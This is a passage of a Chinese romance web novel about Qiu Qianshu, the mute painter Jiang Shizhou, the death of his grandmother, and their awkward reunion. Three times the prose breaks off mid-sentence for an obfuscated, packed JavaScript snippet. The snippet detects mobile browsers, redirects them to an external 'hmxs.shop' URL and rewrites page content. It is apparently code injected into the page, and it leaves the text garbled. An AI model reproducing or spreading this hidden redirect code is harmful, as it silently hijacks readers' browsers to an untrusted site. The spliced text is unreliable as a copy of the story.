学校里的男生很多,不过大都歪瓜裂枣,也不是没有好看的,但都过于不在乎形象,以至于小小年纪的秋千舒就对男性这个庞大的群体产生刻板印象,那就是又臭又脏。 她一个没忍住,就拐弯到了对方面前。 “你在这里干什么?”秋千舒问。 江时舟原本正在看地上的蚂蚁,但是蚂蚁被秋千舒踩上了,所以他只能看她了。 少年的脸长得特别赏心悦目,精致的鼻梁几乎和蒋女士一模一样。 秋千舒也是被人从小夸到大,见过她的人都说她漂亮得像个洋娃娃,但是她还是觉得她只能是天下第二漂亮,第一漂亮是蒋女士。 能跟蒋女士有一分像,那已经是小有姿色了。 秋千舒等不到对方讲话,还觉得这人怎么那么没礼貌,但想到他蹲在蒋女士家门口,又跟蒋女士长得颇像,可能是和蒋女士有关系,所以就忍了下来。 “你是这家人的亲戚吗?”秋千舒弯着腰,继续耐心地问道。 这个问题,江时舟可以回答。 他点了点头,算是赞同秋千舒的话。 秋千舒见江时舟点头,抿着的嘴都要憋不住咧开笑了,怪不得长得这么白净,不愧是蒋女士家的亲戚。 “我是隔壁那户人家的小孩,你要是不介意的话,可以先到我家坐会儿,我妈妈和这家的主人关系很好。等会儿,这家人回来了,你再回这里。“ 江时舟在这里蹲了快有半个钟头了,他妈妈着急赶飞机,把他送到这里后,也没来得及看有没有人,匆忙地就走了,连带着他的行李也落在了车上。 他摁了好多下门铃,都没有人开门。 妈妈和他讲,要听外婆的话,不可以随便乱跑。他也不认识路,就只能一直在这里等着外婆回家。 但是现在,他想尿尿。 虽然这个请他到她家做客的女生踩到了蚂蚁。 但是他想尿尿。 江时舟从小兜里抄出他的小本本,写道 ——我可以去你家上厕所吗? 秋千舒还不能理解为什么他要在本子上写字和她讲话,但她还是开心地答应了他的诉求,“当然可以!” 杨素韵和秋进贤下班回家后,看到家里多了个小孩时,人都傻眼了。 鬼知道她家女儿搁哪整得这么漂亮一孩子,白白净净得像是她梦中情娃,乖乖地坐在那里,看见他们还知道起身鞠躬。 秋千舒和他们解释了来龙去脉,杨素韵在了解完详情后,第一时间就给隔壁的邻居打了电话。 没过多久,蒋女士就过来领孩子了。 虽然她看起来还是那么优雅和恬淡,但秋千舒发现她的头发丝有一根乱了。 半天没找到江时舟,她肯定着急。 在蒋女士和她爸妈的谈话中,秋千舒知道了江时舟的事情。 这个和她差不多大的小孩,居然不能说话,因为一场意外。 江时舟的爸妈工作很忙,没空照顾他,以后他都要住在外婆家。 没过多久,江时舟就从特殊教育学校转到秋千舒的学校。 为此,蒋女士还颇为内疚地请求秋千舒,希望她以后能和江时舟做朋友。 蒋女士担心江时舟性格内敛,而且还不会说话,在学校会一个朋友都交不到。 那时的秋千舒觉得自己光辉伟岸得像个骑士,肩负着公主嘱托给她的巨任。 蒋女士的担心一点都不过分,江时舟刚来学校没多久就遭受了歧视。 有些同学根本不知道什么是教养,只知道江时舟不会说话,嘲笑他是哑巴。 有次,秋千舒值日,还在校园里拿着扫帚扫地呢,就听见有人笑话江时舟。 她怒发冲冠,见人士众多,赤手空拳胜算不大,一气之下便踩掉扫帚头,拿着扫帚棍,把他们都揍了一顿。 完了还跑到江时舟的班级里,扬言谁再欺负江时舟,她就拿棍子教他做人。 不意外的,秋千舒被叫家长了。 她当时生无可恋地站在教导主任办公室里,听着教导主任像人机一样反复地就讲那两句话,一边觉得自己在劫难逃,要被她爸妈吊着打了,一边又回味无穷,回顾着自己以一敌十的光辉事迹。 也不知道是教导主任打错电话了,还是怎么着,反正她爸妈没来,来学校的是蒋女士。 蒋女士出场特别气派,手上各种闪瞎她眼睛的珠宝,身后还跟着好几个西装革履的保镖大汉和律师。 她一过来,教导主任就像是变了个人,对她点头哈腰。 秋千舒站在一旁,不敢大张旗鼓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914521|192509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地直面那些校领导,只是低着头用她那2.0的超绝视力疯狂偷瞄,感叹着原来教导主任不是人机,原来校长也会拍马屁。 最后,秋千舒当然什么事都没有,并且还因此一战成名,再也没人敢说她和江时舟的坏话。 这件事之后,蒋女士对她可谓是视如己出,经常请秋千舒去她家玩,还会给她买各种礼物。 蒋女士什么都会,琴棋书画,样样精通。 她偶尔清闲的时候,也会教江时舟写字画画,秋千舒也喜欢凑热闹。 不过,她的字写得不好看,她全家的字都写得不好看。 秋千舒合理怀疑,这是基因作祟。 因为她爸妈的字写得像狗爬,所以她的字写得也像狗爬。 和她本人没有一点关系。 然而,秋千舒还是很喜欢去蒋女士家里,期盼着蒋女士也教她写字画画,虽然她挺怕让蒋女士看到自己小学鸡一般的字迹。 蒋女士教她写字的时候,会和她挨得很近,温柔地握住她的手。 她可以清晰闻见蒋女士身上的药草香,轻盈地萦绕在她的鼻尖,和那个香囊一样。 可以说,秋千舒的成长经历就是对蒋女士的大型祛魅记录片。 蒋女士当然还是那个漂亮、优雅、时髦的老太太,只是她长大了。 弄花吃茶的生活不再神秘,她也逐渐喜欢上她家那种满番茄、黄瓜和豆角的菜园子。 她依然很敬仰那位时髦的老太太,但不再想要成为她。 那天,秋千舒停掉工作去医院探望生病的蒋女士。 坐在病床上的蒋女士依然像个公主,优雅地吃着刚切好的还晶莹剔透的苹果。 病房里没有其他人,秋千舒知道那个苹果一定是江时舟切的,方方正正的。 但是她没见着江时舟,她已经很久没有见着江时舟了。 她知道他在躲着她。 蒋女士不知情她和江时舟恋爱又分手的事,但肯定看出了端倪。她什么都没有问,只是说她和江时舟一起看完了她演的所有电视剧。 离开时,蒋女士还拉着她的手,告诉她一定要成为大明星,以后出门就能看到她的广告,这样就算她没时间来探望她,她也能知道她过得很好。 秋千舒没忍住,在蒋女士面前哭得像个傻子。 她特别委屈,她觉得工作特别累,她不知道江时舟为什么躲着她。这不是她想要的生活,她变得好像不是自己了。 明明生病的是蒋女士,她却抱着她,安慰了她很久。 泪水模糊视线,记忆中蒋女士身上淡淡的药草香仿佛还停留在她鼻尖。 然后在某个瞬间,突然消逝…… * 客厅的灯光照得人眼睛疼,熟悉而柔软的沙发包裹着秋千舒,轻轻地安抚着她沉重的内心。 不知道什么时候放下的玻璃杯,里面还装着半杯水,在茶几圆润的缘处一下又一下的试探,差点要掉到地板上。 秋千舒伸手,拿起来又重新放下。 一直在一旁关注她的杨素韵神情也有些伤感,但更多是对女儿的关心。 “其实你不去也挺好的,那场景挺伤人心。”杨素韵哄劝道,语气也软了下来,“时舟当时还提到你,说他总是能在街上看到你的广告。” 秋千舒愣了一下。 那是她和蒋女士的对话。 当时,江时舟就在那,或许在门外,他听到了。 秋千舒深吸一口气,憋住那快要落下来的泪,笑比哭还难看,站起身道:“我先回房间了。” 杨素韵看着她,欲言又止,最后也没有说些什么。 5. 误触 啪嗒。 出门的时候比较匆忙,回来了才发现自己把卧室折腾得那么乱。 衣柜的柜门都没有关,好几套衣服七零八落地霸占着她的床,棉被也只配蜷缩在墙角瑟瑟发抖。 书桌上的化妆品倒下一片,和化妆刷混杂在一起,折叠镜子也歪得快要掉下来。椅子不知道什么时候被她挪到了床边,也不在它的正确位置上。 秋千舒捡起滚落到地板上的口红,把它放到盒子里,默默地收拾起这乱成一锅粥的房间。 把最后一件衣服叠好放回衣柜后,她依旧没能平复好自己的心情。 蒋女士去世了,江时舟的外婆去世了。 秋千舒瘫坐在平整得没有一丝褶皱的床上,听着房间闹钟走动的声音,空荡荡的脑子里什么都装不下。 杨素韵从楼下过来,敲了敲她房间的门。 “别想那么多,早些洗漱休息。” “嗯,妈妈也早点睡。” …… 秋千舒起身,去了浴室。 像淋雨一样哗啦啦的,打在她身上还有点痒,以至于心情都变好了很多。看着热乎乎的水蒸气给玻璃蒙上白雾,像朝霭般如梦如幻,没忍住伸手在上面画了个爱心。 透过爱心,她刚好看到摆在架子上的杯子和牙刷,上面还有小狗图案,是之前和孔昭一起去手工店,她自己贴的。 好像也没那么伤心了。 要是蒋女士还在的话,她肯定会这么安慰她:“我又不是神仙,迟早都要死的,而且我这辈过得风风火火,也没什么遗憾,不用为我难过。” 秋千舒拍了拍自己湿漉漉的脸,沉重的心放了下来。 不过,她还有件事要做…… 房间里,刚洗漱完的秋千舒躺在床上,还没干透的头发把被子都浸湿了,她也没在意。 看着手机里她和江时舟空落落的聊天框,秋千舒纠结要不要给他发消息。 她和江时舟分手后没多久,她换手机,一狠心就把他们之间的聊天记录全都删了。 以至于什么都没留下,现在想想还蛮可惜的。 秋千舒漫不经心地点着那个聊天框,想着该怎么主动提帮他的事。 好歹是多年的交情,她给他这个事业不顺的老朋友介绍一份体面的工作,好像也合情合理。 输入键盘弹出来又下去,来来回回不知道点了多少下。 秋千舒也不知道怎么回事,就误触到了那个视频通话;又突然网卡,摁最下面的取消键,没成,莫名识别为语音通话。 如果可以的话,秋千舒真的好像回到半分钟前,扇自己一巴掌,没事点什么输入框啊! 虽然没等对方接通,她就迅速把那个“手滑”电话给关掉了。 救命,救命! 看着原本空落落的聊天框里出现“已取消”三个大字,秋千舒那叫一个绝望。 还是解释一下吧,他肯定也能看得到;但是万一他不信自己是真的手滑该怎么办? “啊!啊啊啊!”秋千舒在床上打了个滚。 在秋千舒还在左右为难的时候,她的手机响了,有人给她发消息。 【江时舟:?】 【秋千舒:打错了……】 看着自己那充满绝望的回复,秋千舒觉得自己的人生都暗淡无光了。 现在已经凌晨一点了,床头柜上的闹钟发出微弱的催眠声,好像在提示着未眠的人们已经很晚了。 然而,秋千舒毫无睡意。 夜深壮人胆,在第N次给自己打气后,她终于编辑好一条完整的消息发给江时舟。 【秋千舒:我认识一个画廊主理人,如果你愿意,这几天我可以帮你和他组个局。】 【江时舟:不用。】 他几乎是秒回,而后又是一段话。 【江时舟:我有经纪人,不需要这些。】 霓虹穿过薄纱照在男人的身上,带着淡淡的寒意,勾勒出缥缈身影,浴室最后一缕暖气也被带走了。 他把手机放回床头柜,发梢的水珠落到那张没有瑕疵的脸上,故意似得挂在那,像钻石一样透亮。 手里的毛巾干巴巴的,大概是晒太久了,有些刺手。 吹风机就在卫生间,几步就能走到。 不知道过了多久,他觉得应该有好几分钟了,凉意从头顶穿透脚底,转身又回来。 还是拿起手机。 一分钟都没过去。 他有些懊恼。 居然连一分钟都没有。 …… 对于江时舟的这个回复,秋千舒也不意外。 本来就是她主动要给他介绍人脉,也知道他的自尊心可能让他不愿意接受她的帮助。 秋千舒早就想好了各种话术,在他答应后怎么回答他,在他拒绝后又该怎么劝说他。 【秋千舒:你不用不好意思,到时候我也会在。】 【秋千舒:你就当是去画廊逛逛,顺便认识个新朋友。】 【秋千舒:多认识几个朋友不碍事。】 天衣无缝的话术,她就不信江时舟还有理由拒绝她。 聊天框上断断续续地显示“对方正在输入…”,秋千舒每次都以为江时舟要回她消息了,但每次都是什么都没有。 终于,在她即将受不了,决定问他到底想说什么的时候,江时舟回她了。 【江时舟:这几天我都有时间。】 【江时舟:麻烦你了,谢谢。】 看到江时舟的回复,秋千舒顿觉就精神了,恨不得立刻就给她那个便宜画廊朋友打电话,约个时间见面。 但看了一眼时间,还是忍住了。 第二天上午,秋千舒就联系了那位画廊主理人,对方很快也给了她答复。 约在下周二晚上。 餐厅是秋千舒预定的,定好后才告诉江时舟。在这之前,他们肯定是要先碰面的,毕竟是找人办事,得提前到餐厅。 不需要什么套路,秋千舒就得到了江时舟的居住地址。 xxx小区xxx楼xx号。 虽然约的是晚上,但秋千舒闲得没事,下午一点多就开车去了江时舟的公寓,出门时还被家里的阿姨喊住,塞给她一把迷你遮阳伞。 距离夏天还有一个多月,但太阳已经不温柔了。 秋千舒不太了解房地产行业,到了才发现江时舟住的小区不比原来的小别墅差,年轻帅气的保安很敬业,她甚至得靠刷“脸”才进去。 想来也是,搞艺术只是不赚钱,但家底还是在的。 门铃响起时,江时舟还在洗手台前闭着眼刷牙。 好吧,他又通宵了。 昨天画廊的经纪人来问他最近的成果,他实在不好意思说自己什么都没画出来,就说后天亲自给她送过去。 如果可以,他真想这两天不吃不喝,画出十副巨作交差,然后至少又可以半年没有创作压力。 他想得美。 半月都画不出来一幅,还想着两天能画出来十幅,临死前的最终幻想。 江时舟胡乱往脸上糊了两下冷水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914522|192509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,试图让自己看起来精神一点,虽然黑眼圈根本掩盖不住,头发也跟有自己的想法一样。 秋千舒等了一会儿,发现没人开门,于是又按了一下门铃。 不在家吗?秋千舒奇怪。 她都打算发消息问江时舟了,门开了。 率先映入眼帘的是喉结和锁骨,然后是睡衣最上面的那颗扣子。 如果是六年前,秋千舒应该会抱上去,神不知鬼不觉地把那颗碍事的扣子解开。 但是现在,她只能昂首挺胸,正义凛然地瞪着她那纯净的大眼睛,然后说:“我不会打扰你睡觉了吧。” 他以前就是个夜猫子,但是老天赏饭吃,怎么熬都没事,脸也从来没崩过。 每次被秋千舒发现熬夜,江时舟都会羞耻得不知所措,虽然下次还会偷偷地熬。 秋千舒都习惯了。 江时舟没想到是她,被发现这个点才起床,耳垂肉眼可见地泛红,连手语都不知道怎么打了,愣愣地挪了个位置,请秋千舒进来。 秋千舒也不客气,就这么踩着高跟鞋进来了。她挺好奇江时舟的住所,不然也不会提前那么早来这里。 江时舟打手语:“我去换件衣服。” 穿睡衣不得体,而且他都没照镜子,肯定很邋遢吧……刚才应该先看一眼是谁的,通宵脑子打结了。 “你去吧。”秋千舒自个走到客厅,把包放到茶几上,问道:“我可以随便逛逛吗?” 江时舟没回她,他早就跑回卧室换衣服去了。 默认可以。 茶几上除了秋千舒的限量版名牌包外,还有一个盘子,上面摆了两个橘子和一个苹果。障子纸隔断了空间,竹影婆娑映在上面,像是一幅水墨画。 再往里走,是一处小茶间;瓶花摆在桌面上,整个空间都只为它存在。旁边的木柜很有质感,不过摆了很多东西,似乎刚招待完客人,还没来得及收拾。 这房子地段好、装修也好,一定花了江时舟不少心思。 秋千舒听到脚步声,回头。 江时舟换了件新的居家服,和刚醒那会儿完全不一样的风格,整个人看起来都贤惠了起来。 他确实也挺贤惠的,尤其是在她的对比下。 “我要煮点馄饨,你要吃吗?”江时舟用手语问她。 “不了,刚吃完。”秋千舒来之前吃了午饭,而且她还减肥。 江时舟去厨房煮馄饨,她继续逛他的房子。 不得不说,他很会生活。 原本秋千舒还在想江时舟的画室会是怎么样的,以前住她家隔壁的小洋房,整个二楼都是他的地盘,开窗就是满园春色,伸手就能触碰到绿叶,她想不到比那更好的房子了。 整个大平层里最不宜居的设计,他任性地把花园搬进了房间,隔出窗恬静风光;在那里画画,抬头依然是窗与鲜花与太阳。 果然是通宵画画了,绕到江时舟的工作台,就看到他画到一半的作品,他擅长画花鸟,秋千舒也喜欢。 旁边的柜子里放着各种宣纸和绢布,右边是很大一面书架,拐角处摆了一座小沙发,秋千舒毫不犹豫地躺到那里,也是感受了一下惬意好时光。 舒服、开心,如果她没有在起身时发现一根栗棕色的长头发的话。 她很确定那不是她掉的,她没染发。 在他们毫无交集的六年里,谁也不知道发生过什么。 秋千舒捏起粘在她衣服上的那根头发,一圈圈地卷在手指上,绷紧了再拽断,然后飘飘然落在地上找不到。 6. 馄饨 馄饨是之前江时舟的妈妈过来时拿给江时舟的,好像是和家里阿姨一起包的,皮蛋鲜肉馅,虽然他也不知道他妈妈什么时候有这闲工夫了。 味道挺好的,比他之前自己尝试调馅包馄饨做得好。 江时舟刚把碗勺放到餐桌上,人还没坐下,就听见一阵高跟鞋声,漫不经心的,像是逛着逛着就走到了这里。 “馄饨好吃吗?”秋千舒拉开对面的椅子,随意地坐下来,弯眼地看着他。 碗里的馄饨汤面上飘着零星小葱花,盖不住滚滚热气,肉眼可见的烫喉咙。 她不高兴。 江时舟把馄饨往外推了推,抿着嘴等她下一句话。 “我刚刚看了一下你这房子,整不错。”秋千舒手指交叉在一起,撑着头,目不转睛地盯着江时舟,嘴里吐出两个字:“婚房?” 这房子地段好、环境好,装修也花了不少钱,而且肯定不是他自己赚钱买的,家里人给他卖房,不就是让他结婚用的吗? 好像也是到了适婚年龄,那天招聘会上,赵听雨不是还说他是她的相亲对象吗。 婚房? 江时舟瞳孔地震,他不至于这么超前。 “我还没有结婚,没有未婚妻、女朋友、你以外的前任,我一个人住。”江时舟快速地打手语,有种被诬蔑但哑巴吃黄连的无力感。 这房子就是单为他独居生活设计的,没考虑任何其他因素。 搬家的时候,他都觉得自己要孤独终老了,怎么可能还幻想着和没影的妻子一起住在这里。 “没有情人吗?”秋千舒问。 她不应该这么直白地询问他的,但是她忍不住。 “我在你的画室里发现了一根女人的头发。” 江时舟紧张的心突然落下。 因为这个生气吗? 好像是容易令人误会。 “钟点工每天下午四点会来我家打扫卫生,我的经纪人昨天晚上来我家催我交画,她是个三十出头的女性,两年前刚在结婚,头发是栗棕色的大波浪,最近应该是事业不太顺利,有些脱发。” 她喜欢胡思乱想,他要解释清楚。 秋千舒最成功的一次胡思乱想,就是好多年前帮一个老同学在朋友圈捉奸,成功斩断一段孽缘。 那个出轨的男的因此对她怀恨在心,在网上发帖吐槽,说她心思缜密、想象力丰富,当她的男朋友一定很痛苦,一点“小心思”都不能有。 当时秋千舒才刚演几个小配角,没什么名气,也还没和江时舟分手。 看到那个帖子时,秋千舒都要气炸了,恨不得当场沿着网线和他撕逼,但又怕留下“案底”,以后火了被人当黑料,就忍住只和江时舟吐槽了一下。 江时舟还特别冷静地安慰她,让她不要和没有三观的人一般见识。 然后当天晚上,秋千舒就看到那个没有多少浏览量的帖子出现多了一条评论,一个ID叫“江河渐满”的新用户在下面留言 ——你好像不知道秋千舒是谁。 后来,秋千舒大火。 粉丝考古扒出来这个沉寂了八百年的帖子,以及那条评论,还让秋千舒白捡了一条热搜,那句“你好像不知道秋千舒是谁”也成了她粉丝怼黑粉的专用语。 江时舟从来没恼火过她的各种天马行空,尽管有时候她的疑惑荒谬到不可理喻,他都会耐心地和她解释,她也愿意相信他。 其实,只要他说,她都会相信。 餐桌上的馄饨凉了大半,秋千舒心里的不痛快也没了。 她指了指那碗馄饨,又一副云淡风轻,说道:“我可以尝一个你的馄饨吗?” 站在那里的江时舟听到后,把碗推到她面前,然后这才拉椅子坐下。 现在的温度刚刚好,馄饨到嘴里入口即化,又鲜又嫩,就是她不能多吃,尝了一个后就把勺子还给了江时舟。 顺其自然的,他吃掉了剩下的馄饨。 饭后,秋千舒去阳台晒暖,江时舟把茶几上的苹果切了给她端过去。 看着那熟悉的切法,秋千舒又想到蒋女士去世的事情。 她本来不想和他提这件事的,那毕竟是他最亲近的外婆,蒋女士去世对他的打击一定比她大得多。 一阵风吹过,白色的纱帘被卷起,阳光直接照到秋千舒的脸上,有些刺眼,她忍不住伸手去遮挡。 江时舟抓住纱帘,将它放回原位,虽然不一会儿,纱帘又开始躁动不安,他只好把窗户关掉。 “江时舟,外婆什么时候去世的……”秋千舒看着他的背影,还是开口道。 江时舟的手停在窗户上半天,最后也没全部关完,留了一点小缝隙,风还是能进来。 “两年前。”他转身,打手语。 风又起,纱帘又蠢蠢欲动,不过江时舟挡住了,鼓鼓囊囊地贴在他的背上,像是要把他拥抱在怀里。 也是热风。 “她走得很安详,亲人都在身边。” “挺好的。” 秋千舒起身,走到江时舟身边,伸手从他的肩膀处掠过,抓住了那片白纱。 江时舟呼吸一滞,差点以为她要代替纱,他还没睡醒。 两年前,他外婆突然病重,医生说不过几个月的光景。 谁都没料到会这样,一直陪在她身边的江时舟也是。 那段时间,家里总是围满了人。 外婆很开心,因为他们平时一年也不来看她一次。两个女儿也终于知道了归家,放下手里所有的工作,陪她回了一趟C城老家。 江时舟总是安静地站在那里,看着已是强弩之末的外婆。 不知道是谁注意到了他,又想起自己朋友的女儿,在一堆人的起哄下,给他安排了个相亲。 对方还在读大学,是个很活泼开朗的女生,人很善良,因为喜欢特殊教育这个行业,还自学了手语。 不过,他不喜欢。 江时舟不知道外婆为什么叫他去相亲,回来的时候还有些伤心。 但是外婆却说,她不想他以后在家都这么安静。 他爸妈不会手语,如果她去世了,那整个家里就没人能看得懂他的手语了。 再也不能“讲话”。 江时舟不愿意,就像他爸妈不愿意为他学手语一样,这事也就不了了之了。 再后来,他外婆病得起不来,拉着他的手和他讲了一堆他小时候的事;不知道从哪里开始,那些事变得都和隔壁邻居家的女儿有关。 外婆让他以后多和他爸妈亲近,不要总让人家女孩子误会他爸妈是什么垃圾父母。他爸妈只是没时间给他爱,但给了他很多钱。 要知道,如果女孩子觉得他爸妈不好,是不会愿意嫁给他的。 江时舟是个很听话的孩子,所以他答应了。 但是外婆又让他不要固执在过去,他是个很听话的孩子,所以假装没听见。 那天,外婆拉着每个人都说了很多话,嘱托完所有事后,她就睡着了。 在梦里离开的。 外婆的葬礼来了更多的人,江时舟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914523|192509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道他们都是谁,但他只能微笑点头,没办法和他们讲话。 秋千舒没有来,在他意料之内,她的行程已经忙到要按每个小时怎么安排。 但是秋千舒爸妈来了。 杨阿姨还用手语和他打招呼,一个字一个字地比划,不太准确,但他能看得懂。 江时舟还以为她忘记了,于是告诉她,他耳朵能听得见,只是不能说话。 旁边的秋叔叔憋着气,差点没忍住笑出声。 要是在葬礼上笑出声,大概会引起很多人的关注吧。 见他误会,杨阿姨赶紧解释,她知道他耳朵能听见,只是见他在这站着,也没人来和他说话,所以她才过来用手语和他比划两下。 就是好像不尽人意。 秋千舒的爸妈是很好很好的人,所以才会养出很好很好的女儿。 * “这里的风好大。”秋千舒松开白纱帘,关掉窗户的最后一点缝隙,打断江时舟的回忆,“现在时间还早,你要去画室画画吗?” 他好像还有幅画没完成。 画室里,秋千舒拿着水果盘,一边吃苹果,一边看他画画。 如果不是环境变了,她真的要以为自己回到了年轻的时候,虽然她现在也很年轻。 秋千舒定了个闹钟,卧在那里小眯了一会儿。没等闹钟响,她自己就醒了;醒来的时候,就看见江时舟在那里收拾东西。 “你画好了?”她刚睡醒,嗓子还有些黏糊。 江时舟笑着让她过来自己看,秋千舒过去看了才发现自己想多了,他也就画了一点点。 秋千舒确实不懂那些艺术家的创作时间,问他:“不继续画了吗?” 又想起他们得准备去饭局,随手拿起江时舟放在桌子上的手机,打开看了一眼时间。 习惯性开屏解锁,没有人脸识别和指纹,还是那个密码。 秋千舒输入密码正确,看到手机主页才想起哪里不太对,又默默地把它放回原位,从兜里找到自己的手机,把即将要响的闹钟铃关掉。 她去洗手间补了个妆,出来就看见江时舟已经换好衣服,低头在那里纠结要不要系扣子。 秋千舒不太喜欢他这一身衣服。 她穿了一身灰,但是他却一身黑,不是很和谐,站在一起也像是两个毫无关系的人。 江时舟也意识到了这一点,没等秋千舒开口,他就自己回房间找衣服去了。 再出来时,头发都乱了。 秋千舒看他穿个衣服还能把头发弄得乱七八糟,虽然也可能是本来就乱,便问他有没有发胶。 江时舟平时也不需要捣腾自己,偶尔会有个什么事会需要正装出席,发胶的话他有,就是不知道在哪里,找了好久才找到。 拿到手后,秋千舒先看了一眼有没有过期,确定没有过期后,才让江时舟蹲下来,她给他弄了一下。 不是很好闻的味道。 秋千舒忍不住皱眉,帮他搞好发型,把手放下才看见他眼睛直勾勾地盯着她,表情有些失落。 “怎么了?”她问。 江时舟打手语:“我是不是麻烦?” 他连个发胶都不会用,还得让她帮他。 “没有,我挺乐意的。”秋千舒满意地看着自己的作品,还伸手帮他调整了一下刘海,“我就是觉得发胶味不好闻。” 搞定好头发后,秋千舒就去洗手了,确定洗干净了才抽出一张纸巾擦拭。 江时舟就在旁边看她,想着晚上回来就把这个发胶扔掉。 7. 翻译 这是一家私密性很好的西餐厅,厨师长是来自法国的顶级大厨,菜品的卖相和味道都很不错,当然价格也很昂贵。 秋千舒特意选在了这个地方,她约的这位画廊主理人之前一直生活在法国,最近几年才回国发展。 纯白的实木门上镶嵌着琥珀色的宝石,墙壁上的雕花精细,位居中央的水晶吊灯折射出一缕缕暖光,落到大厅白木桌上的丝绒方巾上,映出点点瑰丽光泽。 夸张的法式宫廷风,很适合拍照当背景板,只是她刚从江时舟家里过来,有点看不上这过于繁琐的设计。 穿着制服的服务员带领他们前往包间,进门就是不知哪位现代“艺术家”的抽象画作,挂在最瞩目的那面墙上,在有庞大的烛灯抢镜之下,也乍眼得让人难以忽略。 服务员还在侃侃而谈地介绍着这里的装潢,尤其是在提到这幅画作时,特意提了一嘴其价值百万。 作为一个外门汉,秋千舒对这个价值深感怀疑。 她忍不住看向同样在老实听服务员吹牛的江时舟,发现他抬头看着那幅画,一脸认真。 真的有这么值钱吗?她怎么看不出好坏?秋千舒很是疑惑。 江时舟察觉到她的困惑,打手语道:“是机构老师都不好意思拿出来挂在作品墙的水平。” 秋千舒恍然大悟,敢情是纯洗啊。 她不想让旁边的服务员发现她和江时舟在吐槽那幅“价值百万”的画作,于是也用手语和他交流:“那你为什么一副看到大师巨作的表情?” 江时舟眨眨眼睛,“她夸得那么卖力,总得捧一下场。” 不明所以的服务员看他俩一来一回地打手语,非常有职业素养地问:“这位先生是有什么需求吗?” “没有,他夸这画能摆在这里,很有水平。”秋千舒果断胡诌。 江时舟笑而不语,眼神真挚地看向服务员,好像他刚刚就是这么说的。 听到这话,服务员更是自豪,“您可以把我们餐厅当做一个艺术品展览,在味蕾享受的同时,也能感受到视觉盛宴……” 所以,这也是他们菜品卖的死贵的原因吗? 江时舟坐下来,拿起餐桌上的菜单,打开就被里面的数字震惊了。 一道开胃小食就要498了? 江时舟轻轻把菜单合上,小心翼翼地放回原位。 这个讹人的水准,感觉把菜单弄破都要赔个好几百的程度。 “等会儿人来了,你什么都不用做,听我的话就行,知道吗?”带领他们过来的服务员离开后,秋千舒拉开凳子,坐到江时舟对面,忍不住嘱咐。 不管是装扮还是脸,江时舟看着都很单纯无害,没啥心眼的感觉,像是刚入职场的新手,给人一种不占点他便宜都亏了的感觉。 仔细算来,他确实也没进入社会当过打工人;本科四年、研究生三年,他也才当了一年的社会人士。 就仅一年的时间,他就把自己从美院高材生干到街头摆地摊的,秋千舒难免会害怕他过于不懂人情世故。 “这里的东西好贵,其实我……”江时舟刚比划了个开头,就被服务员敲门的声音打断;而后他就看着秋千舒瞬间眉眼带笑,起身朝门口走去。 江时舟握住手轻轻垂下。 他本来还想和秋千舒说,没必要这么帮他,卖不出去画是他自己的原因,认识再多艺术商人和收藏家也无济于事。 但是此刻,秋千舒已经拉着那位画廊主理人谈笑风生了。 “霍先生,真是好久不见。”秋千舒笑意盈盈地迎上前,伸手请霍向明进来,并向他介绍站在她身后的江时舟,“这位是江时舟,我之前在手机里和你提过。” 霍向明大约三十出头,身上的西装是来自巴黎的私人订制,墨蓝色领带边缘修着品牌暗色识标,左手腕自然地垂在西裤侧缝处,百达翡丽的表盘独特且贵气。 敢于在当下开画廊的人,他就是披个麻袋,江时舟都得感叹一句“好有钱的富二代”。 “你好。”霍向明伸手,眼神打量着江时舟,“我之前有听说你。” 他的着装看起来不像个艺术家,普通的灰色风衣、堪称随遇而安的帆布鞋;但是……和秋千舒的裙子很搭,都是灰色系。 有点像情侣装,霍向明眸光微动,忍不住在心里讥讽,不知道是谁的小心思。 除了那张年轻的脸,霍向明找不到这位大艺术家身上任何比自己优秀的点。 秋千舒倒是对他赞赏有加,并且不仅仅是对他艺术水平的赞赏。 江时舟和霍向明交手,又在对方力道越来越大的前提下光速抽开,乐呵呵地回避了对方的暗斗。 他就说秋千舒怎么会认识画廊主理人,和她的工作完全不沾边,原来是爱慕者啊。 “霍先生,你知道的,艺术家都不太擅长和人打交道,心思全都在创作上。”秋千舒见江时舟失礼,连忙替他找补。 天知道一向都很有礼貌的江时舟怎么会在对方没有松手的前提下提前抽开。 尽管他们相握的时间是有那么一点长了。 可能吧,他不太擅长和人打交道。 江时舟眯着眼,故意一样转向秋千舒,打手语:“可以帮我转告霍先生吗?我之前也久仰他的大名,还以为是位四五十岁的老先生,没想到这么年轻。” 人的情商可能会突然降低吗? 秋千舒原本还不理解江时舟为什么不用随身携带的A7本写字,或者用手机打字也行。 知道江时舟想说什么后,她突然觉得他不写下来直接告诉对方,对所有人都好。 